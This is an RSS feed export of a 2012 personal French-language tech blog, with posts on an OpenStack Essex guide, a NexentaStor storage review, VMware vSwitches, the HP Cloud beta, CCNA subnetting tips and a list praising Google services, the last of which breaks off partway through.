<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My1&#039; Blog : Cloud Computing, Sécurité, Web</title>
	<atom:link href="http://my1.fr/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://my1.fr/blog</link>
	<description>Keep alive !</description>
	<lastBuildDate>Wed, 02 May 2012 19:35:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Openstack Essex &#8211; Guide for Ubuntu 12.04</title>
		<link>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=openstack-essex-guide-for-ubuntu-12-04</link>
		<comments>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/#comments</comments>
		<pubDate>Mon, 30 Apr 2012 07:43:08 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Openstack]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[essex]]></category>
		<category><![CDATA[quantum]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=572</guid>
		<description><![CDATA[It has been a long time since I didn&#8217;t write something here. But today, I&#8217;m proud to release my first documentation on OpenStack. I&#8217;ve been working for three weeks with StackOps for my internship, and my work is about Quantum (Networking as a service in OpenStack). &#160; It was quite difficult to have a working [...]]]></description>
			<content:encoded><![CDATA[<p>It has been a long time since I didn&#8217;t write something here.</p>
<p>But today, I&#8217;m proud to release my first documentation on <strong><a title="Openstack" href="http://openstack.org/" target="_blank">OpenStack</a></strong>.</p>
<p>I&#8217;ve been working for three weeks with <strong><a title="StackOps" href="http://www.stackops.com/" target="_blank">StackOps</a></strong> for my internship, and my work is about <strong>Quantum</strong> (Networking as a service in OpenStack).</p>
<p>&nbsp;</p>
<p>It was quite difficult to have a working infrastructure because Quantum is only in &laquo;&nbsp;<em>incubation</em>&nbsp;&raquo; for Essex release. That&#8217;s why I release a documentation in which anyone can test this fabulous software.</p>
<p>You can find this documentation with all configuration files &amp; scripts <a title="My github" href="https://github.com/EmilienM/doc-openstack" target="_blank">here</a>.</p>
<p>Or read it directly here :</p>

<iframe src="http://docs.google.com/viewer?url=http://my1.fr/blog/wp-content/uploads/2012/05/How-to-setup-OpenStack-Essex.pdf&hl=en_US&embedded=true" class="gde-frame" style="width:100%; height:500px; border: none;" scrolling="no"></iframe>

<p class="gde-text"><a href="http://my1.fr/blog/wp-content/uploads/2012/05/How-to-setup-OpenStack-Essex.pdf" target="_blank" class="gde-link">Download (PDF, 320.87KB)</a></p>
<p>&nbsp;</p>
<p><strong>Share &amp; Enjoy !</strong></p>
<p>N.B. : Thank&#8217;s to <a title="The team" href="http://www.stackops.com/company/stackops-team/" target="_blank">StackOps team</a> for the welcome in Madrid.</p>
<p><strong>Please let me know if you can find some mistakes, and of course I will correct it.</strong></p>
<div id="wrtranslator-translate" style="left: 189px; top: -25px;"><a href="http://www.wordreference.com/enfr/mistakes#article" target="_blank">Traduire</a></div>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/openstack-essex-guide-for-ubuntu-12-04/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Open-Storage avec NexentaStor</title>
		<link>http://my1.fr/blog/open-storage-avec-nexentastor/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=open-storage-avec-nexentastor</link>
		<comments>http://my1.fr/blog/open-storage-avec-nexentastor/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 15:03:43 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[nexanta]]></category>
		<category><![CDATA[nexantastor]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[stcokage]]></category>
		<category><![CDATA[storage]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=535</guid>
		<description><![CDATA[&#160; &#160; Toujours dans mon projet de formation sur OpenStack, j&#8217;ai décidé de me concentrer sur la partie stockage d&#8217;une infrastructure. &#160; &#160; &#160; Je recherchais une solution qui répondait à ces critères : Environnement Open-Source Respect des standards Compatibilité avec les IaaS du marché (on verra plus tard que j&#8217;ai testé VMware &#38; OpenStack) [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Toujours dans mon projet de formation sur OpenStack, j&#8217;ai décidé de me concentrer sur la partie stockage d&#8217;une infrastructure.<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
<strong>Je recherchais une solution qui répondait à ces critères :</strong></p>
<ul>
<li>Environnement Open-Source</li>
<li>Respect des standards</li>
<li>Compatibilité avec les IaaS du marché (on verra plus tard que j&#8217;ai testé VMware &amp; OpenStack)</li>
<li>Bien documenté, et si possible un forum bien actif</li>
</ul>
<p><strong>J&#8217;ai donc choisis de tester <a title="NexentaStor" href="http://www.nexenta.com/corp/nexentastor" target="_blank">NexentaStore Enterprise Edition</a> dans sa version d&#8217;essai.</strong></p>
<p><strong>Ce que j&#8217;ai eu en plus avec Nexenta :</strong></p>
<ul>
<li>Une interface d&#8217;administration &amp; de configuration user-friendly (Web-GUI)</li>
<li>Une liste très impressionnante de plugins (gratuits &amp; payants) qui apportent des fonctionnalités non-négligeables</li>
<li>La chance de pouvoir tester NexentaStor Enterprise Edition gratuitement pendant 45 jours.</li>
<li>L&#8217;immense chance de pouvoir tester le plugin &laquo;&nbsp;HA Cluster&nbsp;&raquo; (que nous verrons plus tard) pendant 45 jours également (merci à l&#8217;équipe de Nexenta de m&#8217;avoir aidé).</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Qu&#8217;est-ce que l&#8217;Open-Storage ?</h2>
</blockquote>
<p><strong>Pour résumer l&#8217;Open-Storage avec des mots simples :</strong><br />
Fournir du stockage de manière standard, provenant de différentes sources, propriétaires ou libres. C&#8217;est donc s&#8217;affranchir du matériel propriétaire et hétérogène, pour rationaliser ses ressources en stockage.<br />
L&#8217;Open-Storage est donc une solution <strong>économique</strong> de se créer une baie de disque hautement disponible et tolérante aux pannes, à partir de différentes sources de stockage.<br />
En résumé, voici 3 avantages liés à l&#8217;Open-Storage :</p>
<ul>
<li>Votre stockage devient ouvert et accessible, grâce aux standards de l&#8217;industrie du stockage.</li>
<li>Vous dessinez vous-même votre architecture de stockage. Il n&#8217;y a donc aucune limite à votre infrastructure !</li>
<li>Votre Hardware devient flexible, dans la mesure où tout changement devient transparent pour l&#8217;utilisateur final.</li>
</ul>
<h2></h2>
<p>&nbsp;</p>
<blockquote>
<h2>Cas concret :</h2>
</blockquote>
<p>Je dispose actuellement d&#8217;une baie de stockage EMC, avec des disques plutôt performants en lecture / écriture. A coté de ça, j&#8217;ai récupéré une baie de disques SSD (très rapides donc), et enfin une baie assez ancienne comprenant des vieux disques toujours opérationnels.</p>
<p><strong>Dans mon réseau, je souhaite fournir du stockage :</strong></p>
<ul>
<li>assez performant pour mes serveurs ESXi pour le stockage des machines virtuelles.</li>
<li>plutôt rapide pour mon infrastructure VDI, fournie par VMware View</li>
<li>lent, mais facilement extensible pour du Cloud storage (exemple : Dropbox, Ubuntu One, SkyDrive, etc).</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que fait NexentaStore :</h2>
</blockquote>
<p><strong>Pour commencer les présentations, il est bon de rappeler les bases.</strong></p>
<p>NexentaStor est une appliance, basée sur OpenSolaris. Étant payante, j&#8217;ai donc usé de la licence Trial qui m&#8217;a permis de tester le produit dans sa totalité pendant 45 jours.</p>
<p>Il existe une version gratuite, <a title="Community Edition" href="http://www.nexentastor.org/projects/site/wiki/CommunityEdition" target="_blank">NexentaStor Community Edition</a> qui permet de fournir jusqu&#8217;à 18To de stockage (Raw). Attention, je n&#8217;évoquerai pas ce produit dans cet article car il ne supporte pas l&#8217;ajout des plugins type &laquo;&nbsp;HA Cluster&nbsp;&raquo; &amp; autre.</p>
<p>Pour voir la liste complète des fonctionnalités, vous pouvez directement le lire sur le <a title="Site officiel" href="http://www.nexenta.com/corp/nexentastor" target="_blank">site officiel</a>. Cependant, voici les points intéressants de ce produit :</p>
<ul>
<li>Système de fichiers ZFS 128 bits</li>
<li>Aucune limite de stockage (ni eu capacité de stockage, ni en taille de fichier)</li>
<li>Compatible SAN (iSCSI &amp; FC) &amp; NAS (NFS, CIFS, WebDAV et FTP)</li>
<li>Optimisation du stockage (compression, dé-duplication)</li>
<li>Création de Pools de stockage (pour améliorer les performances)</li>
<li>Snapshots à chaud</li>
<li>Réplication synchrone et asynchrone (pour faciliter le Disaster Recovery)</li>
<li>Intégrité des données</li>
<li>De nombreux plugins très puissants (je reviendrai plus tard vers le plugin HA Cluster)</li>
<li>Et enfin, ce que j&#8217;ai vraiment apprécié : intégration avec VMware, Xen, OpenStack et Hyper-V.</li>
</ul>
<p>Avec NexentaStor, je vais être capable de rationaliser le stockage que j&#8217;ai à ma disposition, de le rendre hautement disponible et tolérant aux pannes, et enfin de le distribuer vers des hôtes à travers des protocoles standards et connus de tous.</p>
<p>&nbsp;</p>
<blockquote>
<h2>Mon infrastructure</h2>
</blockquote>
<p>Des fois, un bon vieux dessin vaut mieux qu&#8217;un gros pavé. Donc j&#8217;ai pris Visio pour vous montrer mon architecture :</p>
<p style="text-align: center;"><img class="aligncenter  wp-image-539" title="nexenta" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta.png" alt="" width="491" height="442" /></p>
<ul>
<li>Je dispose d&#8217;une baie EMC avec des disques dur SAS en RAID 5, ainsi qu&#8217;une autre baie avec des disques SSD.</li>
<li>Mes 2 appliances sont virtualisées dans mon infrastructure VMware, et sont en cluster avec le plugin HA.</li>
<li>Je fournis du stockage pour les clients légers (VDI), mes VMs &amp; volumes (pour OpenStack), et pour du Cloud Storage.</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que j&#8217;ai testé :</h2>
</blockquote>
<p>Dans un premier temps, j&#8217;ai testé :</p>
<ul>
<li>les fonctionnalités de base : Mapping de volumes over iSCSI, partage de fichier CIFS (dans un domaine 2008 R2 Natif), et NFS.</li>
<li>Ensuite, j&#8217;ai fait la demande au service commercial de Nexenta pour tester gratuitement le plugin HA Cluster (qui coûte 4900 $). Il m&#8217;a permis de rendre hautement disponible le stockage que je met à disposition sur on réseau.</li>
</ul>
<p>Je vais m&#8217;attarder sur ce plugin car je l&#8217;ai trouvé particulièrement puissant :</p>
<ul>
<li>L&#8217;installation se fait assez aisément, mais il faut au préalable avoir lu la documentation officielle (comme d&#8217;hab, RTFM !!!), sinon vous aurez des erreurs.</li>
<li>J&#8217;ai été agréablement surpris. Tout a fonctionné du 1er coup : l&#8217;installation du plugin, la configuration de la mise en cluster des 2 appliances, la création des volumes à partager, et la configuration dans VMware ESX (la configuration du <a href="http://en.wikipedia.org/wiki/Multipath_I/O"><em>Multipath</em></a> se fait toute seule).</li>
<li>J&#8217;ai testé le basculement vers le serveur secondaire en mode Failover automatique et l&#8217;interruption de service était de 8 secondes (le temps pour l&#8217;IP Failover de switcher vers l&#8217;autre serveur). J&#8217;ai vraiment aimé le principe de pouvoir utiliser les cartes réseaux en Failover et continuer à fournir le stockage depuis le serveur principal. Si c&#8217;est le serveur en entier qui n&#8217;est pas accessible, l&#8217;autre prendra le relais et le service ne sera pas stoppé.</li>
</ul>
<p>Voici une capture d&#8217;écran du dashboard du plugin HA Cluster (Cliquez-sur l&#8217;image pour agrandir) :</p>
<p style="text-align: center;"><a href="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-ha.png" target="_blank"><img class="aligncenter  wp-image-557" title="nexenta-ha" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-ha.png" alt="" width="904" height="327" /></a></p>
<p style="text-align: left;">Par rapport à ce plugin, je dirais qu&#8217;il va à l&#8217;essentiel : il fonctionne et permet réellement de faire de la HA au niveau storage.</p>
<ul>
<li>Autre plugin très intéressant : <strong>VMDC</strong> (Virtual Machines Datastore Center). Il permet de gérer les datastores d&#8217;un hyperviseur directement depuis l&#8217;IHM de NexentaStor. Il est compatible avec VMware, Xen et Hyper-V. Suivant l&#8217;API de l&#8217;hyperviseur, certaines fonctionnalités sont disponibles en plus, comme l&#8217;arrêt ou le redémarrage des VMs.</li>
</ul>
<p>&nbsp;</p>
<p style="text-align: center;"><a href="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-vm.png"><img class="aligncenter  wp-image-560" title="nexenta-vm" src="http://my1.fr/blog/wp-content/uploads/2012/02/nexenta-vm.png" alt="" width="850" height="274" /></a></p>
<p>&nbsp;</p>
<ul>
<li>Je garde le meilleur pour la fin&#8230; le plugin OpenStack, qui permet d&#8217;intégrer du stockage fournis par NexentaStor dans une infrastructure OpenStack, et plus particulièrement pour le service <strong>nova-volumes</strong> (qui fournit des block devices aux VMs). De base, le driver est capable de créer des volumes, de les supprimer, et de réaliser des snapshots, et tout ça grâce aux REST API. Je rajouterai encore quelque chose de très pertinent : la distribution <a title="Site officiel de StackOps Technologies" href="http://www.stackops.com/" target="_blank">StackOps </a>intègre nativement le driver <strong>NexentaVolumeDriver</strong>, et permet dès le <strong>SmartInstaller</strong> d&#8217;indiquer où se trouve le serveur <strong>NexentaStor</strong>.</li>
</ul>
<p>&nbsp;</p>
<blockquote>
<h2>Ce que j&#8217;en pense :</h2>
</blockquote>
<p>Vous l&#8217;aurez compris&#8230; <strong>que du bien</strong> !</p>
<p>Non, plus sérieusement. NexentaStor est un produit de qualité, et je pense qu&#8217;en s&#8217;ouvrant aux différentes technologies, il s&#8217;offre un bel avenir devant lui, et continuera de séduire tous ceux qui ne peuvent pas s&#8217;offrir des baies de stockages propriétaires. Ce que j&#8217;ai vraiment aimé, c&#8217;est la compatibilité avec les différents protocoles de transport de fichiers (NFS, CIFS, FTP, WebDAV) et également les technologies SAN (iSCSI &amp; FC). De plus, ses plugins font de NexentaStor une solution flexible, et ouverte à un environnement hétérogène. Peu importe votre matériel et vos outils déjà en place : il sait s&#8217;adapter, et offrir ce qu&#8217;il sait faire de mieux : du <strong>stockage hautement disponible</strong>.</p>
<p>&nbsp;</p>
<blockquote>
<h2>Les alternatives :</h2>
</blockquote>
<p>Il existe plusieurs alternatives, mais j&#8217;en ai testé une Open-Source, et une propriétaire.</p>
<p>Il s&#8217;agit de <a title="FreeNAS" href="http://www.freenas.org/" target="_blank"><strong>FreeNAS</strong></a>, et de <a title="Site officiel de Datacore" href="http://www.datacore.com/Software/Products/SANsymphony-V.aspx" target="_blank"><strong>Datacore SAN-Symphony-V</strong></a>.</p>
<ul>
<li>Concernant FreeNAS, ses fonctionnalités ne sont pas aussi poussées que les produits de Nexenta.</li>
<li>Pour SAN-Symphony-V de Datacore, j&#8217;ai eu la chance d&#8217;avoir un cours sur le produit, ainsi qu&#8217;un TP à l&#8217;université. Je dois dire que le software est impressionnant, et qu&#8217;il fournit du stockage de manière performante et hautement disponible grâce à la mise en cluster. Il ne manquerait plus qu&#8217;une interopérabilité avec d&#8217;autres acteurs du  Cloud comme le fait Nexenta avec ses plugins vus précédemment, ainsi qu&#8217;une REST-API (le seul moyen d&#8217;administrer le stockage sous SSV étant le Powershell ou la GUI en dotnet depuis Windows). J&#8217;ai eu l&#8217;occasion de créer du stockage à partir de SAN-Symphony pour OpenStack nova-volumes, mais je n&#8217;ai pas fait de benchmark pour le comparer avec le produit Nexenta.</li>
</ul>
<p>&nbsp;</p>
<p>Si des gurus du Cloud lisent cet article, n&#8217;hésitez pas à laisser votre commentaire !<br />
&nbsp;<br />
Je vous laisse, je retourne dans mes nuages <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/open-storage-avec-nexentastor/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Configuration des vSwitchs sur ESX</title>
		<link>http://my1.fr/blog/configuration-des-vswitchs-sur-esx/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=configuration-des-vswitchs-sur-esx</link>
		<comments>http://my1.fr/blog/configuration-des-vswitchs-sur-esx/#comments</comments>
		<pubDate>Fri, 17 Feb 2012 16:36:25 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[esx]]></category>
		<category><![CDATA[vmware]]></category>
		<category><![CDATA[vswitch]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=526</guid>
		<description><![CDATA[Voici ma 1ère vidéo Youtube !!! Sisi je l&#8217;ai fait&#8230; J&#8217;explique le concept de partage de cartes réseaux sur un serveur VMware ESX. C&#8217;est vidéo est la 1ère partie car elle est théorique, et la 2ème sera pratique puisqu&#8217;on configurera ensemble un vSwitch suivant le résultat obtenu dans la 1ère vidéo. &#160; Alors, vous avez [...]]]></description>
			<content:encoded><![CDATA[<p>Voici ma 1ère vidéo Youtube !!! Sisi je l&#8217;ai fait&#8230;</p>
<p>J&#8217;explique le concept de partage de cartes réseaux sur un serveur VMware ESX.</p>
<p>C&#8217;est vidéo est la 1ère partie car elle est théorique, et la 2ème sera pratique puisqu&#8217;on configurera ensemble un vSwitch suivant le résultat obtenu dans la 1ère vidéo.</p>
<p>&nbsp;<br />
<iframe width="480" height="360" src="http://www.youtube.com/embed/-q8QX0W-zSg" frameborder="0" allowfullscreen></iframe></p>
<p>Alors, vous avez compris ?</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/configuration-des-vswitchs-sur-esx/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Test de la Beta HP Cloud Services</title>
		<link>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=test-de-la-beta-hp-cloud-services</link>
		<comments>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 20:15:09 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=516</guid>
		<description><![CDATA[Grâce à une personne très gentille, j&#8217;ai la chance de pouvoir tester le nouveau Cloud d&#8217;HP qui sera bientôt disponible à tous. Pour rappel, HP se lance dans le Cloud public avec l&#8217;arrivée d&#8217;HP Cloud Services qui propose tout comme ses concurrents (RackSpace, IBM, &#8230;) un cloud de type IaaS (Infrastructure As A Service). &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Grâce à une personne très gentille, j&#8217;ai la chance de pouvoir tester le nouveau Cloud d&#8217;HP qui sera bientôt disponible à tous.</p>
<p>Pour rappel, HP se lance dans le Cloud public avec l&#8217;arrivée d&#8217;HP Cloud Services qui propose tout comme ses concurrents (RackSpace, IBM, &#8230;) un cloud de type <strong>IaaS</strong> (Infrastructure As A Service).</p>
<p>&nbsp;</p>
<p>Je me suis donc précipité sur l&#8217;invitation, et j&#8217;ai créé mon compte afin de tester tout ça.</p>
<p>Pour tout vous avouer, ce qui m&#8217;a le plus motivé à tester le produit, c&#8217;est évidemment le fait qu&#8217;il soit basé sur OpenStack.</p>
<p>Je vous rapporte donc ce que j&#8217;ai testé, et les différentes fonctionnalités que j&#8217;ai appréciées ou celle que je n&#8217;ai pas vues.</p>
<p>&nbsp;</p>
<p><strong>Résultats du test :</strong></p>
<p>- <strong>Compute</strong> :</p>
<ul>
<li>2 clusters localisés à l&#8217;ouest des USA (pour l&#8217;instant).</li>
<li>Pour ma part, aucun problème de latence.</li>
<li>6 tailles de serveurs (j&#8217;ai testé la standard.xsmall ainsi que la standard.large)</li>
<li>Plusieurs images disponibles, toutes basées sur Linux (Ubuntu, CentOS)</li>
<li>1 IP publique par VM ! Pour le coup, j&#8217;ai vraiment été surpris.</li>
<li>la gestion des VMs peut se faire via API (avec euca2ools) sinon depuis le dashboard d&#8217;HP qui est plutôt bien fait.</li>
<li>On accède aux VMs par SSH (avec la clé privée qu&#8217;il faut télécharger), et le terminal est bien renseigné (facturation, ressources consommées, charge en temps réel&#8230;)</li>
<li>Voici mes critiques : impossibilité de faire des snapshots des VMs (pour l&#8217;instant j&#8217;imagine), pas moyen pour le moment de créer des volumes, et de les attacher aux VMs (avec la fonction de snapshot si possible).</li>
<li>Ensuite, j&#8217;aurais bien apprécier de pouvoir migrer les VMs entre cluster, mais je n&#8217;ai pas eu de réponse d&#8217;HP concernant cette fonctionnalité&#8230; A voir donc si ce sera possible dans l&#8217;avenir.</li>
</ul>
<p style="text-align: center;"><img class="aligncenter  wp-image-518" title="Compute" src="http://my1.fr/blog/wp-content/uploads/2012/01/Compute.png" alt="" width="722" height="335" /></p>
<p>&nbsp;</p>
<p>-<strong> Cloud storage</strong> :</p>
<ul>
<li>L&#8217;interface Web intègre une gestion de son Cloud Storage.</li>
<li>Les fonctionnalités sont rudimentaires : Envoyer / Télécharger des fichiers depuis cet espace.</li>
<li>J&#8217;imagine que derrière tout ça se cache le module Swift (OpenStack Storage) donc rien à dire de ce coté, si ce n&#8217;est qu&#8217;on ne connaît pas encore la limite de stockage pour l&#8217;offre de base, et il n&#8217;y a pas encore de fonction de partage de fichier. Bref, c&#8217;est une Beta !!</li>
<li>Cela-dit, je suis plutôt content qu&#8217;une interface web soit enfin développée pour gérer du cloud storage avec Swift. Remarquez sur la capture d&#8217;écran que l&#8217;interface est plutôt simple mais assez complète pour l&#8217;instant.</li>
</ul>
<p>&nbsp;</p>
<p style="text-align: center;"><img class="aligncenter  wp-image-519" title="Storage" src="http://my1.fr/blog/wp-content/uploads/2012/01/Storage.png" alt="" width="694" height="405" /></p>
<p>Bien sûr, ces remarques n&#8217;engagent que moi-même, et je suis ouvert à toute discussion.</p>
<p>Dans tous les cas, je suis très heureux de voir OpenStack continu d&#8217;être adopté par les plus grands de ce monde&#8230; Pourvu que ça dure !!!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/test-de-la-beta-hp-cloud-services/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Trucs et astuces VLSM &amp; CIDR</title>
		<link>http://my1.fr/blog/trucs-et-astuces-vlsm-cidr/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=trucs-et-astuces-vlsm-cidr</link>
		<comments>http://my1.fr/blog/trucs-et-astuces-vlsm-cidr/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 18:19:09 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Réseaux]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=506</guid>
		<description><![CDATA[&#160; Pour ceux qui passent comme moi les examens Cisco CCNA, il est obligatoire de maîtriser le calcul de masque, ainsi que les calculs VLSM / CIDR. Je ne vais pas refaire le cours de Cisco qui est très bien fait, mais je vais vous exposer quelques trucs &#38; astuces pour bien réussir ce type [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>Pour ceux qui passent comme moi les examens Cisco CCNA, il est obligatoire de maîtriser le calcul de masque, ainsi que les calculs VLSM / CIDR.<br />
Je ne vais pas refaire le cours de Cisco qui est très bien fait, mais je vais vous exposer quelques trucs &amp; astuces pour bien réussir ce type d&#8217;exercice.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>Ce que je fais en premier</h3>
<p>Lorsque je tombe sur un exercice avec du calcul VLSM / CIDR, j&#8217;ai mes réflexes.</p>
<p>Je prends une feuille de brouillon, et je commence par écrire :</p>
<p>255.255.255.252 &#8211; /30 &#8211; 2 adresses hôtes</p>
<p>255.255.255.248 &#8211; /29 &#8211; 6 adresses hôtes</p>
<p>&#8230;</p>
<p>Je m&#8217;arrête au 255.255.255.0 &#8211; /24 &#8211; 254 adresses hôtes si l&#8217;exercice porte sur un adressage en classe C, sinon je continue plus haut.</p>
<p>Pour m&#8217;aider, je n&#8217;hésite pas à m&#8217;écrire la liste complète des puissances de 2 jusqu&#8217;à 256.</p>
<p>&nbsp;</p>
<h3>Lorsque l&#8217;exercice est du style : 192.168.1.0/24</h3>
<p>Je fait un genre de camembert, dans lequel j&#8217;ajoute au fur et à mesure les plages prises par les sous-réseaux.</p>
<p>Je pense que la meilleure méthode est de commencer par les réseaux avec le plus d&#8217;hôtes (avec le masque de sous-réseau le plus large donc).</p>
<p>Exemple :</p>
<p>192.168.1.0/24 doit être divisé en plusieurs sous-réseaux (2 pour 60 hôtes, 2 pour 30 hôtes, et 3 liens inter-routeurs.</p>
<p>Je commence par le sous-réseau qui comportera les 60 hôtes. C&#8217;est un /26. Je fais le 2ème, puis ensuite j&#8217;attaque le sous-réseau de 30 hôtes. C&#8217;est un /27. Et ainsi de suite.</p>
<p>Avec cette méthode, on ne gaspille pas d&#8217;adresse IPV4 dans la plage qui nous est attribuée.</p>
<p>&nbsp;</p>
<h3>De l’entraînement, encore et encore&#8230;</h3>
<p>Il n&#8217;y a pas de secret, il faut s’entraîner encore et encore&#8230; Dans le CCNA 2 chapitre 6 consacré au VLSM / CIDR, vous avez pas mal d&#8217;exercices d’entraînement. Celui sur la classe B (/16) est vraiment formateur, je vous conseille de vous entraîner sur des grosses architectures de ce style&#8230; Une fois qu&#8217;on a réussi à le faire pour une classe C, il faut voir si l&#8217;on est capable de le faire pour des plus gros réseaux.</p>
<p>&nbsp;</p>
<p>Je vous laisse, je continue mes révisions !</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/trucs-et-astuces-vlsm-cidr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Que ferais-je sans Google ?</title>
		<link>http://my1.fr/blog/que-ferais-je-sans-google/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=que-ferais-je-sans-google</link>
		<comments>http://my1.fr/blog/que-ferais-je-sans-google/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 21:04:24 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Non classé]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=448</guid>
		<description><![CDATA[&#160; Qu&#8217;on ne le veuille où non, Google est aujourd&#8217;hui un outil dont on ne peut se passer. La plupart des services fournis par Google sont de types SaaS (Sofware As A Service) et rentrent dans la famille du Cloud Computing. &#160; &#160; &#160; Avec ce type de service, Google permet aux petites entreprises par [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<p>Qu&#8217;on ne le veuille où non, Google est aujourd&#8217;hui un outil dont on ne peut se passer. La plupart des services fournis par Google sont de types SaaS (Sofware As A Service) et rentrent dans la famille du Cloud Computing.</p>
<p>&nbsp;<br />
&nbsp;<br />
&nbsp;</p>
<p>Avec ce type de service, Google permet aux petites entreprises par exemple de délaisser leur réseau interne, pour une plate-forme entièrement collaborative et accessible depuis n&#8217;importe où via Internet. La seule contrainte : disposer d&#8217;un compte Gmail.</p>
<p>&nbsp;</p>
<p>Donc que ferais-je sans Google ?</p>
<p>&nbsp;</p>
<ul>
<li>Sans <strong>Google Search</strong>, je ne serais pas capable de trouver exactement ce que je veux sur la toile. Il n&#8217;y a pas débat à faire, Google est tout simplement le meilleur moteur de recherche sur cette planète. Ceux qui me contredisent n&#8217;auront qu&#8217;à me donner des exemples, mais à ce que je sache c&#8217;est aussi le plus utilisé. D&#8217;ailleurs, je me suis toujours demandé l&#8217;impact écologique du fond blanc de la page d&#8217;accueil qui fait consommer plus d&#8217;énergie selon moi&#8230;</li>
<li>Sans <strong>Gmail</strong>, je n&#8217;aurais pas de boite mail regroupant 6 autres adresses provenant de domaines différents, une gestion des contacts synchronisée avec mon téléphone Android, et aussi son Gestionnaire de Tâches qui permet d&#8217;écrire des notes rapidement.</li>
<li>Sans <strong>Google Agenda</strong>, je ne penserais à rien, et je raterais tous mes rendez-vous. Encore une fois, trouvez-moi un agenda collaboratif aussi puissant que celui-ci : import / export dans différents formats, invitations d&#8217;autres contacts à une réunion, etc.</li>
<li>Sans <strong>Google Documents</strong>, je me trimbalerais sans cesse avec ma clef USB, et galèrerais à partager des documents avec mes amis ou collègues. Travailler sur un projet n&#8217;a jamais été aussi simple ! Ouvrir un document à plusieurs et y mettre des commentaires en direct, répond tout à fait à mes besoins.</li>
<li>Sans <strong>Google Plus</strong>, je n&#8217;aurais aucun réseau social qui me permettrait de partager des idées avec les gens que je veux, en mélangeant travail et vie personnelle en toute confidentialité.</li>
<li>Sans <strong>Picasa</strong>, je ne pourrais pas partager mes plus beaux souvenirs avec mon entourage, et il serait plus compliqué de montrer des photos avec tout le monde à la fois.</li>
<li>Sans <strong>Google Reader,</strong> je ne pourrais pas lire tous mes flux RSS préférés à la fois, synchronisés avec mon téléphone portable.</li>
<li>Sans <strong>Google Map</strong>, je me serais certainement perdu un bon millier de fois (en voiture grâce à l&#8217;application Android &laquo;&nbsp;Navigation&nbsp;&raquo; et à pied).</li>
